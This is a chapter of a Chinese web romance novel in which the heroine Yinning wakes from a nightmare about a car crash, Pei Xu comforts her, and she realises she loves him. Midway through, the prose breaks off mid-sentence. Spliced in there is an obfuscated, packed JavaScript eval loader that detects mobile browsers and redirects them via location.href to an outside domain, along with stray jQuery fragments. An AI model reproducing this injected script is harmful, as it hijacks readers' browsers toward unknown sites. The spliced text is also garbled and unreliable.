36. 低哄

作品:《咸鱼抱紧大腿

    子弹划过雨幕,蕴宁猛然惊醒。


    房间还是一片寂静,科拉白昼短,屋内已经暗了下来。


    科拉为联邦政要提供的住处,出于隐私的原因隔音很好,听不到一点屋外的声音。


    本身是极具安全感的地方,但此刻反而让蕴宁觉得憋闷。


    蕴宁怔忪几秒,意识到她做了一个噩梦。


    蕴宁缓缓起身,这噩梦的感觉太真实,她神情怔愣,抚上自己的胸口。


    这是梦吗?怎么感觉会这么真实。


    而且,原著里“程蕴宁”就是死于车祸。


    程家人要买凶杀人,她一直知道,难道这梦不只是梦,她躲不过那场车祸吗?


    这会是她以后必须要经历的命运吗?


    蕴宁嗓音发紧,环顾一圈,昏暗的房间里并没有看见裴叙的身影。


    蕴宁不知为何,她迫切地想见到裴叙。


    她伸手,准备拿柜上的光脑联系人,房门却被推开。


    裴叙进门时,看到的就是这么一副画面——


    蕴宁坐在床上,看着他的一双眼里盛满无助惶然。


    像是在害怕。


    而蕴宁看着那道颀长的身影,手下意识攥紧。


    静了几息,蕴宁听到裴叙叫了声她的小名。


    "程双双。"清冷淡然的嗓音,但语调微微上扬,像是带着询问的意味。


    蕴宁感觉心里紧绷的弦被人轻巧拨动,泛起浅浅涟漪。


    她下意识应了一声。


    裴叙看着她:“怎么了?”


    这次确实是疑问的语气,蕴宁也不知道他为何会意识到她的不对劲,但裴叙已经走上前了。


    见蕴宁没有第一时间回答,裴叙沉默几秒,又是询问的语调:“我开灯了?”


    蕴宁点点头。


    “咔哒”一声,房间内的暖色调灯光亮起,于是裴叙得以将蕴宁沉默的面容看得更清楚。


    女生白净的脸上带着几分无措,她仰头看着他,眼底带着自己都没察觉的依赖。


    “……我做了个噩梦。”


    房间很安静,她声音也低低的。


    蕴宁本想说没事,但对上裴叙的视线,她没有缘由的改了口,:“……你去哪里了?”


    不但改口,甚至还用了“变本加厉”的用微弱的语调质问。


    几乎是刚问出口蕴宁就有些后悔,她心道自己真是睡懵了,仅仅是个噩梦而已,她还过问起裴叙的行程了。


    裴叙沉默了会,不知为何,蕴宁觉得他视线有些沉。


    但他没说什么,只是在床边坐下,将蕴宁刚刚起身时弄皱的被角抚平。


    “去给你买了饭。”


    蕴宁喜欢的那几样饭菜要么是冷食要么是辣口,她现在当然不能吃这些。距离下榻酒店车程40分钟的地方有家店,是科拉当地的特色店,裴叙知道那家的海鲜粥做的还可以,清淡开胃。


    等他买后再回来时,蕴宁已经又睡着了。


    看不出做了噩梦,女生侧着身窝在被子里,睡得很安宁。


    裴叙将她背后的被子往上扯了扯,没叫醒她,将粥放到厨房的保温箱里便去了客厅处理事情。


    他没看出蕴宁做了噩梦。


    如果知道,他会叫醒她。


    但裴叙又大概知道那是什么样的梦。


    蕴宁第一次见到这样的场面,碎裂一地的玻璃,寒风中冷却的血迹,刺耳的尖叫。


    她因为什么做噩梦、做的噩梦内容是什么不言而喻。


    裴叙的手指微蜷,似乎又感到那泛凉的血液。


    他很好的掩饰掉这情绪,再抬头时,跟平常一样淡然:“粥还是热的,要喝吗?”


    蕴宁这时才想起睡前裴叙就说了要去给她买饭的事,但裴叙神情平淡,也没有要提出这点的意思,蕴宁也就没太感觉到尴尬,还理所当然地点了点头。


    她安静地吃了一顿饭,不知是不是空腹太久,看着清淡的饭她也吃得有滋有味,裴叙没跟着一起吃,在客厅用看着和笔电外表别无二致的设备处理事务。


    期间周泽来过一趟,低声和裴叙汇报了什么。


    周泽办事的确可靠利落,蕴宁心里这么想着,不由得又想起梦中那场存疑的“车祸”。


    如果她身边也有周泽这样办事的人就好了,她也不至于跟个无头苍蝇一样悬着心。


    她吃完,洗澡洗漱时都在想着这件事,吹完头发回房间时,迎面撞上了裴叙。


    “你忙完了?”她小声问。


    裴叙应一声,蕴宁也是这时才意识到,裴叙似乎很久都没有像从前那样忽略掉她可有可无的废话。


    意识到这点的蕴宁心情不由轻快起来,只是这轻快的情绪在看到裴叙臂弯处搭着的外套时消失了。


    裴叙要离开。


    眼前的房间还是开着暖色调的灯光,蕴宁却不由自主的回想起梦中那阴沉的天,冷得刺骨的雨。


    “你去哪里?”


    裴叙微怔。


    对上蕴宁即使强撑着,但还是透出几分茫然的视线,裴叙只觉得心口泛起浅浅的涩意。


    裴叙如实告知:“我去拿些助眠的药。”


    蕴宁白天睡了很久,还做了噩梦,晚上大概会睡得不踏实。


    军部的医生就在同楼层住着,他准备去拿些助眠的药回来,顺道问问蕴宁是否需要在回到首城后做进一步的检查。


    蕴宁却不觉得放松,她几乎是一瞬便意识到裴叙这话里背后的意义。


    他觉得她一个人睡会睡不好,所以要去拿助眠的药。


    想明白这层,蕴宁很好地掩盖掉眸中的失落情绪,人往旁边让开。


    裴叙却没有先离开,他看着蕴宁,眸中带着几分蕴宁看不懂的情绪:“门口有人守着。”


    蕴宁知道这是在安抚,配合地笑笑,只是笑容出现在她有些苍白的脸上,怎么看都有些勉强。


    “嗯,我知道的。”也怕太打扰裴叙,蕴宁很快就这么回答了一句。


    裴叙回来的时候,蕴宁已经又钻回被窝里。


    她没躺下,倚着床头,正在看投影上的片子。


    是部老掉牙的爱情片,画质修复的很清晰,但故事情节家喻户晓,也不会算在什么必看的目录里,现在被提及的次数少了很多。


    不知她是从哪个推荐榜单里找出这样的电影,还看得很认真。


    听到他的动静,蕴宁将电影暂停,仰头看向他,声音有些小:“你去了好久。”


    裴叙将药放在桌上,沉默地回身。


    蕴宁现在因为害怕,变得很依赖他。


    这本来可以算做一件好事。


    如果裴叙不知道缘由的话,他或许会这么觉得。


    他才离开了十七分钟,那部老掉牙的文艺爱情电影才刚刚播到开头,刚好足够医生交代清楚其他后续注意事项,却让蕴宁觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938409|158231||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得过了很久。


    嘴边嘱咐她如果睡不好就吃两片助眠药的话没有说出口,裴叙在蕴宁的注视下再次坐到床边。


    “双双。”他叫她的小名,声音有些低:“我睡在客厅,行吗?”


    睡在客厅,守着她,会让她睡一个踏实的觉吗?


    而蕴宁却怔住了,像是不知道他是什么意思。


    她看着坐在她眼前的人,他细密的眼睫垂着,一双偏狭长的黑眸只专注的看着她,在联邦说一不二的上校,此刻带了些征求的意味,静静地等她的答复。


    被裴叙用这样注视着,蕴宁清楚又明明白白地感知到,她心中轰然一声,筑起的高墙早就坍塌殆尽,酸胀的情绪蔓延开来,带着浅浅的涩意,在心底留下痕迹。


    蕴宁率先移开了视线。


    手心的温度,加快的心跳,蕴宁不由在这样的情境下,在裴叙那看似依旧淡然的眼神里认清了自己的心。


    她好像有点,喜欢裴叙。


    她……喜欢裴叙。


    ……


    裴叙见她垂下脸,指尖微蜷,到底没说什么。


    洞悉人心这方面裴上校实在擅长,他知道蕴宁大概是不好意思将同意的话说出口。


    于是他想先起身,给蕴宁倒杯水。


    只是他才一动,袖角就被人拉住。


    裴叙一怔,回头去看。


    蕴宁只拽住了一小角,但用了力气,莹白指尖透着粉色。


    “裴叙……”


    刚搬到荣锦时她也不知是哪里来的胆子,一口一个老公的叫着裴叙,然而细细回想,她已经很久没这么叫过了。


    好像越是喜欢,这样的称呼越没办法随意对他说出口。


    蕴宁没有经历过这样的情绪,此刻却将自己的喜欢剖析得一清二楚。


    她抬头看着裴叙,眼睫有些颤。


    她打算同意,也打算进一步请求。


    此刻她只想让裴叙留下来,留下来陪她。


    然而不等她开口,裴叙回身,手也因此被拉开。


    蕴宁手一松,有些怔愣。


    下一秒,裴叙微微俯身,将她的手握住。


    “没有要走,去给你倒水。”


    握住她的手带着温热,蕴宁听到了裴叙带着安抚的话。


    他单膝跪在床前,难得用仰视的角度看着自己,蕴宁恍惚觉得,这是珍视的眼神。


    或许是有这样的恍惚,才会让她得寸进尺。


    而裴叙又再一次安抚道:“我睡在客厅,就隔着一扇门。”


    “……”


    蕴宁看着他,又叫了一声他的名字。


    她眼眶有些泛红,带着完全的依赖和信任,鼓起勇气想开口,却被裴叙抢先。


    裴叙难得迟钝,到现在才明白蕴宁的意思,即使如此,语气还是有些不确定:“你想我留下来陪你,是么?”


    说不清是羞怯还是懊恼的情绪浮上心头,蕴宁嘴边的话滞住,没有第一时间给他肯定的回答。


    裴叙边界感分明,大概任何打破他设下的界限的人都会让他生厌。


    自己大概要被拒绝,但思索一番,蕴宁认为就算这样,她也不会有后悔的情绪。


    蕴宁这么想着,垂下眼,不再躲开他的视线:“……嗯。”


    而裴叙抬脸仰视着他,一向冷然的上校此刻注视着她,神情平淡,又带着十足的耐心——


    “可以。”